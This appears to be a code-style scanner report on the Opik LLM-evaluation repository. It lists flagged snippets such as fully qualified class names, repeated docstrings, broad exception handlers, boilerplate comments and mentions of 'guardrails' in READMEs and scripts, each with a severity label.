CRITICALsdks/opik_optimizer/benchmarks/engines/local/engine.py31from benchmarks.utils.helpers import make_serializableCODE
CRITICALsdks/opik_optimizer/benchmarks/engines/modal/volume.py10from benchmarks.utils.helpers import make_serializableCODE
CRITICAL…es/v1/priv/PromptResourceProjectScopedPromptsTest.java127 URLEncoder.encode(com.comet.opik.utils.JsonUtils.writeValueAsString(sortingFields),CODE
CRITICAL…k/api/resources/v1/priv/OpenTelemetryResourceTest.java389 var spanBuilder = com.comet.opik.api.Span.builder()CODE
CRITICAL…k/api/resources/v1/priv/OpenTelemetryResourceTest.java915 var existingSpan = com.comet.opik.api.Span.builder()CODE
CRITICAL…ik/api/resources/v1/priv/LocalRunnersResourceTest.java777 @org.junit.jupiter.params.provider.MethodSource("paramsWithPresenceCases")CODE
CRITICAL…ik/api/resources/v1/priv/LocalRunnersResourceTest.java794 org.junit.jupiter.params.provider.Arguments.of(List.of(CODE
CRITICAL…ik/api/resources/v1/priv/LocalRunnersResourceTest.java801 org.junit.jupiter.params.provider.Arguments.of(List.of(CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java142 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java171 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java192 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java211 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java270 .post(jakarta.ws.rs.client.Entity.json(request));STRING
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java314 .post(jakarta.ws.rs.client.Entity.json(request));STRING
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java335 .post(jakarta.ws.rs.client.Entity.json(request));STRING
CRITICAL…api/resources/v1/priv/ChatCompletionsResourceTest.java484 com.github.tomakehurst.wiremock.client.WireMock.equalTo(apiVersion)));CODE
CRITICAL…pi/resources/v1/priv/FindTraceThreadsResourceTest.java1542 var matchingValue = com.comet.opik.utils.JsonUtils.getJsonNodeFromString(CODE
CRITICAL…riv/ExperimentsResourceFindProjectExperimentsTest.java545 com.comet.opik.api.resources.utils.ListComparators.ascending())CODE
CRITICAL…riv/ExperimentsResourceFindProjectExperimentsTest.java551 com.comet.opik.api.resources.utils.ListComparators.descending())CODE
CRITICAL…ik/api/resources/v1/priv/AgentConfigsResourceTest.java952 com.comet.opik.domain.AgentConfigEnv.builder()CODE
CRITICAL…s/v1/priv/ProjectMetricsWithBreakdownResourceTest.java106 wireMock = com.comet.opik.api.resources.utils.WireMockUtils.startWireMock();CODE
CRITICAL…rces/v1/priv/AutomationRuleEvaluatorsResourceTest.java1028 .isEqualTo((new com.comet.opik.api.error.ErrorMessage(STRING
CRITICAL…t/opik/api/resources/v1/priv/DatasetsResourceTest.java11044 var changes = com.comet.opik.api.DatasetItemChanges.builder()STRING
CRITICAL…t/opik/api/resources/v1/priv/DatasetsResourceTest.java11098 .put(jakarta.ws.rs.client.Entity.json(STRING
CRITICAL…ts/OnlineScoringUserDefinedMetricPythonScorerTest.java209 var span = com.comet.opik.api.Span.builder()CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java241 org.assertj.core.api.Assertions.assertThat(useTools).isFalse();CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java245 return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java255 return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java368 org.assertj.core.api.Assertions.assertThat(sent.get(0).messages()).hasSize(3);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java369 org.assertj.core.api.Assertions.assertThat(sent.get(0).toolSpecifications())CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java377 org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty();CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java378 org.assertj.core.api.Assertions.assertThat(finalSent.messages()).hasSize(5);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java379 org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(3))CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java381 org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(4))CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java383 org.assertj.core.api.Assertions.assertThat(CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java493 org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty();CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java495 org.assertj.core.api.Assertions.assertThat(lastMessage)CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java497 org.assertj.core.api.Assertions.assertThat(CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java191 @org.junit.jupiter.params.provider.CsvSource({CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java222 org.assertj.core.api.Assertions.assertThat(useTools).isEqualTo(expectedUseTools);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java308 org.assertj.core.api.Assertions.assertThat(result).isSameAs(plainResponse);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java357 org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java481 org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse);CODE
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1133 var multimodalMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1136 com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1140 com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1142 .imageUrl(com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.ImageUrl.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1156 var multimodalNoSpans = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1159 com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1171 var spansMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1175 var noSpansMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()STRING
CRITICAL…k/api/resources/v1/events/OnlineScoringEngineTest.java1245 .model(com.comet.opik.api.evaluators.LlmAsJudgeModelParameters.builder()STRING
86 more matches not shown…
Cross-File Repetition181 hits · 905 pts
SeverityFileLineSnippetContext
HIGH…ntegration/langchain/test_opik_langchain_chat_model.py0``generate_chat_completion`` returns a typed assistant ``conversationdict``.STRING
HIGH…ary_integration/anthropic/test_anthropic_chat_model.py0``generate_chat_completion`` returns a typed assistant ``conversationdict``.STRING
HIGH…library_integration/litellm/test_litellm_chat_model.py0``generate_chat_completion`` returns a typed assistant ``conversationdict``.STRING
HIGH…ntegration/langchain/test_opik_langchain_chat_model.py0async ``agenerate_chat_completion`` returns the same shape as the sync path.STRING
HIGH…ary_integration/anthropic/test_anthropic_chat_model.py0async ``agenerate_chat_completion`` returns the same shape as the sync path.STRING
HIGH…library_integration/litellm/test_litellm_chat_model.py0async ``agenerate_chat_completion`` returns the same shape as the sync path.STRING
HIGH…ests/e2e_library_integration/adk/sample_agent/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…ibrary_integration/adk/sample_agent_anthropic/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…e_library_integration/adk/sample_agent_openai/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…/e2e_library_integration/adk/sample_agent_sse/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…ests/e2e_library_integration/adk/sample_agent/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGH…ibrary_integration/adk/sample_agent_anthropic/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGH…e_library_integration/adk/sample_agent_openai/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGH…/e2e_library_integration/adk/sample_agent_sse/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGHsdks/python/tests/e2e/test_dataset.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGHsdks/python/tests/e2e/compatibility_v1/test_dataset.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ibility_v1/evaluation/test_evaluate_dataset_version.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ility_v1/evaluation/test_evaluate_scoring_functions.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…/tests/e2e/evaluation/test_evaluate_dataset_version.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ests/e2e/evaluation/test_evaluate_scoring_functions.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ks/python/src/opik/llm_usage/openai_responses_usage.py0total number of tokens used in the request (prompt + completion).STRING
HIGH…on/src/opik/llm_usage/openai_chat_completions_usage.py0total number of tokens used in the request (prompt + completion).STRING
HIGHsdks/python/src/opik/llm_usage/mistral_usage.py0total number of tokens used in the request (prompt + completion).STRING
HIGH…evaluation/metrics/llm_judges/context_recall/metric.py0asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous veSTRING
HIGH…aluation/metrics/llm_judges/answer_relevance/metric.py0asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous veSTRING
HIGH…luation/metrics/llm_judges/context_precision/metric.py0asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous veSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py0async counterpart of :meth:`generate_chat_completion`.STRING
HIGH…ik/evaluation/models/langchain/langchain_chat_model.py0async counterpart of :meth:`generate_chat_completion`.STRING
HIGH…c/opik/evaluation/models/litellm/litellm_chat_model.py0async counterpart of :meth:`generate_chat_completion`.STRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lonSTRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lonSTRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lonSTRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0the sequential version selector for the prompt (e.g. ``"v3"``).STRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0the sequential version selector for the prompt (e.g. ``"v3"``).STRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0the sequential version selector for the prompt (e.g. ``"v3"``).STRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0the environments that currently own this prompt version, or ``none`` if unowned.STRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0the environments that currently own this prompt version, or ``none`` if unowned.STRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0the environments that currently own this prompt version, or ``none`` if unowned.STRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version iSTRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version iSTRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version iSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/projects/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/datasets/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/experiments/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/projects/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/datasets/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/dashboards/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/prompts/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGH…ython/src/opik/rest_api/feedback_definitions/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[reqSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[reqSTRING
HIGHsdks/python/src/opik/rest_api/insights_views/client.py0delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[reqSTRING
HIGHsdks/python/src/opik/rest_api/experiments/client.py0delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[reqSTRING
HIGHsdks/python/src/opik/rest_api/projects/client.py0delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[reqSTRING
121 more matches not shown…
Excessive Try-Catch Wrapping733 hits · 769 pts
SeverityFileLineSnippetContext
LOWsdks/python/design/API_AND_DATA_FLOW.md1362 except Exception as ex:CODE
LOWsdks/python/design/EVALUATION.md646 except Exception as e:CODE
LOWsdks/python/design/EVALUATION.md1095except Exception as e:CODE
LOWsdks/python/design/EVALUATION.md1130 except Exception as e:CODE
LOWsdks/python/design/EVALUATION.md1175except Exception as e:CODE
MEDIUMsdks/python/design/EVALUATION.md1127def score(self, **kwargs) -> ScoreResult:CODE
LOWsdks/python/tests/conftest.py353 except Exception as e:CODE
LOWsdks/python/tests/unit/runner/test_activate.py45 except Exception as e:CODE
MEDIUMsdks/python/tests/unit/runner/test_activate.py42def run():CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1642 except Exception:CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1671 except Exception:CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1752 except Exception:CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1810 except Exception:CODE
LOW…/tests/library_integration/langchain/test_langchain.py642 except Exception:CODE
LOW…integration/metrics_with_llm_judge/agentic/conftest.py85 except Exception as exc: # noqa: BLE001 — propagate as skipCODE
LOW…ry_integration/pydantic_ai/test_pydantic_ai_logfire.py453 except Exception:CODE
LOWsdks/python/tests/e2e/verifiers.py1134 except Exception:CODE
MEDIUMsdks/python/tests/e2e/verifiers.py79def _attempt() -> bool:CODE
LOWsdks/python/tests/e2e/test_tracing.py127 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py199 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py285 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py315 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py481 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py699 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py800 except Exception:CODE
LOWsdks/python/examples/resume_evaluation.py77 except Exception:CODE
LOW…s/python/examples/trajectory_accuracy_judge_example.py67 except Exception as e:CODE
LOW…s/python/examples/trajectory_accuracy_judge_example.py130 except Exception as e:CODE
LOW…s/python/examples/trajectory_accuracy_judge_example.py190 except Exception as e:CODE
LOWsdks/python/examples/trajectory_accuracy_evaluation.py183 except Exception as e:CODE
LOWsdks/python/src/opik/_logging.py76 except Exception:CODE
LOWsdks/python/src/opik/synchronization.py44 except Exception:CODE
LOWsdks/python/src/opik/opik_context.py257 except Exception as exception:CODE
LOWsdks/python/src/opik/jsonable_encoder.py96 except Exception:CODE
LOWsdks/python/src/opik/environment.py32 except Exception:CODE
LOWsdks/python/src/opik/environment.py95 except Exception:CODE
LOWsdks/python/src/opik/environment.py112 except Exception:CODE
LOWsdks/python/src/opik/environment.py129 except Exception:CODE
MEDIUMsdks/python/src/opik/environment.py29def get_user() -> str:CODE
LOWsdks/python/src/opik/tracing_runtime_config.py30 except Exception:CODE
LOWsdks/python/src/opik/file_upload/upload_manager.py49 except Exception as exception:CODE
LOWsdks/python/src/opik/file_upload/file_uploader.py41 except Exception as e:CODE
LOW…ik/file_upload/s3_multipart_upload/s3_file_uploader.py47 except Exception as e:CODE
LOW…/python/src/opik/error_tracking/environment_details.py83 except Exception:CODE
LOWsdks/python/src/opik/error_tracking/before_send.py24 except Exception:CODE
LOWsdks/python/src/opik/error_tracking/before_send.py61 except Exception:CODE
LOW…king/error_filtering/filter_by_response_status_code.py30 except Exception:CODE
LOW…king/error_filtering/filter_by_response_status_code.py44 except Exception:CODE
LOW…rc/opik/error_tracking/error_filtering/filter_chain.py21 except Exception as e:CODE
LOWsdks/python/src/opik/llm_usage/opik_usage_factory.py36 except Exception as exc_info:CODE
LOWsdks/python/src/opik/llm_usage/opik_usage_factory.py53 except Exception:CODE
LOWsdks/python/src/opik/llm_usage/opik_usage_factory.py67 except Exception:CODE
LOWsdks/python/src/opik/decorator/generator_wrappers.py131 except Exception as exception:CODE
LOWsdks/python/src/opik/decorator/generator_wrappers.py170 except Exception as exception:CODE
LOWsdks/python/src/opik/decorator/generator_wrappers.py181 except Exception:CODE
MEDIUMsdks/python/src/opik/decorator/generator_wrappers.py117def __next__(self) -> YieldType:CODE
MEDIUMsdks/python/src/opik/decorator/generator_wrappers.py156def __anext__(self) -> YieldType:CODE
LOWsdks/python/src/opik/decorator/base_track_decorator.py226 except Exception as exception:CODE
LOWsdks/python/src/opik/decorator/base_track_decorator.py271 except Exception as exception:CODE
LOWsdks/python/src/opik/decorator/base_track_decorator.py309 except Exception as exception:CODE
673 more matches not shown…
Self-Referential Comments195 hits · 604 pts
SeverityFileLineSnippetContext
MEDIUMsdks/python/tests/conftest.py118 # Create an upload manager firstCOMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1429 # Create the experiment JSON file the fast path will read from disk.COMMENT
MEDIUMsdks/python/tests/unit/test_config.py47 # Create a config parser to parse the written contentCOMMENT
MEDIUMsdks/python/tests/unit/test_config.py70 # Create a config parser to parse the written contentCOMMENT
MEDIUM…ks/python/tests/unit/decorator/test_tracker_outputs.py2098 # Create a partial function (similar to the user's use case that was crashing)COMMENT
MEDIUM…ks/python/tests/unit/decorator/test_inspect_helpers.py23 # Create a partial functionCOMMENT
MEDIUM…xt_manager/test_distributed_headers_context_manager.py178 # Create a parent trace with a span to get valid IDsCOMMENT
MEDIUM…xt_manager/test_distributed_headers_context_manager.py206 # Create a parent trace to get a valid trace IDCOMMENT
MEDIUMsdks/python/tests/unit/runner/test_file_watcher.py38 # Create a subdir so watchfiles has something to watch without triggeringCOMMENT
MEDIUM…ks/python/tests/unit/simulation/test_simulated_user.py105 # Create a long conversation history (15 messages)COMMENT
MEDIUM…t/message_processing/test_streamer_with_attachments.py69 # Create a span message with potential attachment data but no end_timeCOMMENT
MEDIUM…t/message_processing/test_streamer_with_attachments.py110 # Create a trace message with potential attachment data but no end_timeCOMMENT
MEDIUM…/tests/unit/message_processing/test_encoder_helpers.py245 # Create an anonymizer that just adds a prefixCOMMENT
MEDIUM…tests/unit/message_processing/test_jsonable_encoder.py29 # Create a simple two-node cycle: A -> B -> ACOMMENT
MEDIUM…ng/processors/test_attachments_extraction_processor.py41 # Create a regular message (not wrapped)COMMENT
MEDIUM…ng/processors/test_attachments_extraction_processor.py75 # Create an original message with plain textCOMMENT
MEDIUM…ng/processors/test_attachments_extraction_processor.py119 # Create a span message with input containing base64COMMENT
MEDIUM…ests/unit/message_processing/replay/test_db_manager.py133 # Create a read-only connection that will fail on CREATE TABLECOMMENT
MEDIUMsdks/python/tests/unit/cli/test_import_experiment.py529 # Create a 4-level hierarchy: root -> child -> grandchild -> great-grandchildCOMMENT
MEDIUM…hon/tests/unit/anonymizer/test_recursive_anonymizer.py278 # Create a structure where strings at different depths can be testedCOMMENT
MEDIUM…hon/tests/unit/anonymizer/test_recursive_anonymizer.py511 # Create a structure that tests depth limiting with strings at different levelsCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py1158 # Create a sampler that will reduce to 3 itemsCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py1251 # Create a task span metric to force non-streaming modeCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py1349 # Create a sampler that will further reduce to 3 itemsCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py2565 # Create a real Experiment instance with mocked dependenciesCOMMENT
MEDIUM…lm_judges/conversation/user_frustration/test_metric.py196 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…lm_judges/conversation/user_frustration/test_metric.py218 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…s/conversation/conversational_coherence/test_metric.py195 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…s/conversation/conversational_coherence/test_metric.py218 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py201 # Create an engine with multiple workersCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py220 # Create a mock resultCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py277 # Create a mock conversation threadCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py340 # Create a mock threadCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py343 # Create a mock conversation threadCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py351 # Create a metric that raises an exceptionCOMMENT
MEDIUM…/tests/unit/api_objects/dataset/test_dataset_client.py131 # Create an updated version of the itemCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py31 # Create an LM instance to test isinstance checkCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py318 # Create a mock LM instance with history containing an actual provider and costCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py364 # Create a mock LM instance where provider matches (direct API, not routed)COMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py404 # Create a mock LM instance where response has no provider attributeCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py503 # Create a mock LM instance where provider has different casingCOMMENT
MEDIUM…python/tests/library_integration/harbor/test_harbor.py211 # Create an event to pause execution so we can check trace name during executionCOMMENT
MEDIUM…/tests/library_integration/langchain/test_langchain.py711 # Create a chain: tool -> prompt -> llmCOMMENT
MEDIUM…hon/tests/library_integration/bedrock/test_converse.py343 # Define a simple weather toolCOMMENT
MEDIUM…python/tests/library_integration/adk/test_adk_async.py291 # Create a summary agent that will combine the parallel resultsCOMMENT
MEDIUM…python/tests/library_integration/adk/test_adk_async.py313 # Create a sequential agent that first runs parallel agents, then summarizesSTRING
MEDIUMsdks/python/tests/testlib/fake_message_factory.py50 # Create a random start time within the last 24 hoursCOMMENT
MEDIUMsdks/python/tests/testlib/fake_message_factory.py127 # Create the trace messageCOMMENT
MEDIUMsdks/python/tests/testlib/fake_message_factory.py173 # Create a random start time within the last 24 hoursCOMMENT
MEDIUMsdks/python/tests/testlib/fake_message_factory.py245 # Create the span messageCOMMENT
MEDIUMsdks/python/tests/e2e/test_failed_messages_replay.py138 # Create the trace while online so the server record already exists.COMMENT
MEDIUMsdks/python/tests/e2e/verifiers.py725 # Create a dict of actual scores for easy comparisonCOMMENT
MEDIUMsdks/python/tests/e2e/test_tracing.py1465 # Create a unique metric name to avoid conflicts with other testsCOMMENT
MEDIUMsdks/python/tests/e2e/test_tracing.py1469 # Create a trace with two spansCOMMENT
MEDIUMsdks/python/tests/e2e/test_tracing.py1397 # Create a unique metric name to avoid conflicts with other testsCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py409 # Create a text promptCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py428 # Create a chat promptCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py494 # Create a chat promptCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py773 # Create a playground chat prompt with the appropriate metadataCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py839 # Create a playground chat prompt with the appropriate metadataCOMMENT
135 more matches not shown…
Modern AI Meta-Vocabulary154 hits · 449 pts
SeverityFileLineSnippetContext
MEDIUMreadme_PT_BR.md144# Habilitar guardrails com qualquer perfilCOMMENT
MEDIUMreadme_PT_BR.md220| Guardrails | Registra traces para validações do Guardrails AI | [Documentação](https:CODE
MEDIUMCHANGELOG.md33- The `context` field is now optional in the [Hallucination metric](https://www.comet.com/docs/opik/evaluation/metrics/oCODE
MEDIUM.pre-commit-config.yaml188 # Guardrails backend (apps/opik-guardrails-backend)COMMENT
MEDIUMreadme_RU.md145# Enable guardrails with any profileCOMMENT
MEDIUMreadme_RU.md220| Ограждения | Журнал трассировки проверок Guardrails AI | [Документация](https://www.comet.com/docs/opik/integrations/gCODE
MEDIUMreadme_KO.md143# 모든 profile에서 guardrails 활성화COMMENT
MEDIUMreadme_KO.md217| **Guardrails** | Guardrails AI 검증 트레이스 | [문서](https://www.comet.com/docs/opik/intCODE
MEDIUMREADME.md49Opik (built by [Comet](https://www.comet.com?from=llm&utm_source=opik&utm_medium=github&utm_content=what_is_opik_link&utCODE
MEDIUMREADME.md142# Enable guardrails with any profileCOMMENT
MEDIUMREADME.md218| Guardrails | Log traces for Guardrails AI validations | [Documentation](https://www.comet.coCODE
MEDIUMreadme_CN.md217| **Guardrails** | 记录 Guardrails AI 验证的跟踪 | [文档](https://www.comet.com/docs/opik/integratioCODE
MEDIUMreadme_AR.md145# Enable guardrails with any profileCOMMENT
MEDIUMreadme_AR.md220| الدرابزين | تسجيل التتبعات لعمليات التحقق من صحة Guardrails AI | [التوثيق](https://www.comet.com/docs/opik/integrationCODE
MEDIUMreadme_ES.md219| Barandillas | Seguimientos de registros para validaciones de Guardrails AI | [Documentación](https://www.comet.com/docCODE
MEDIUMreadme_JP.md219| **Guardrails** | Guardrails AI 検証のトレースを記録 | [ドキュメント](https://www.cCODE
MEDIUMreadme_TR.md145# Enable guardrails with any profileCOMMENT
MEDIUMreadme_TR.md220| Korkuluklar | Guardrails AI doğrulamaları için günlük izlemeleri | [Belgeler](https://www.comet.com/docs/opik/integratCODE
MEDIUMreadme_HI.md145# Enable guardrails with any profileCOMMENT
MEDIUMreadme_HI.md220| रेलिंग | रेलिंग एआई सत्यापन के लिए लॉग ट्रेस | [दस्तावेज़ीकरण](https://www.comet.com/docs/opik/integrations/guardrailsCODE
MEDIUMreadme_FR.md145# Enable guardrails with any profileCOMMENT
MEDIUMreadme_FR.md220| Garde-corps | Traces de journaux pour les validations Guardrails AI | [Documentation](https://www.comet.com/docs/opik/CODE
MEDIUMreadme_DE.md146# Enable guardrails with any profileCOMMENT
MEDIUMreadme_DE.md222| Leitplanken | Protokollspuren für Guardrails AI-Validierungen | [Dokumentation](https://www.comet.com/docs/opik/integrCODE
MEDIUMopik.sh34 # Add guardrails containers if enabledCOMMENT
MEDIUMopik.sh200 # Always add guardrails profile if enabledCOMMENT
MEDIUMopik.sh620# Default: no guardrailsCOMMENT
MEDIUMopik.sh682# Check for guardrails flagCOMMENT
